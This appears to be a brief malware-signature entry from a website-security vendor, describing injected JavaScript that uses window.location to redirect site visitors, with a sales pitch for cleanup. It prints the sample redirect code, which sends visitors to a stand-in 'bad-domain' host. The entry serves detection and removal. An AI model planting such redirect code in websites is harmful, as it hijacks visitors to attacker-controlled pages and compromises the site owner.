PRICING SUPPORT LOGIN

This is generic signature for malware based on the window_location() function.

Affecting

Any website

Cleanup

You can sign up with us and let our team remove the malware for you.

Dump

...example...

if (top.location.href == window.location.href) {
window.location = "http://bad-domain/search/?q=keyword%2F";
} else
window.location = "http://bad-domain.com/search/?q=keyword%2F&if=1";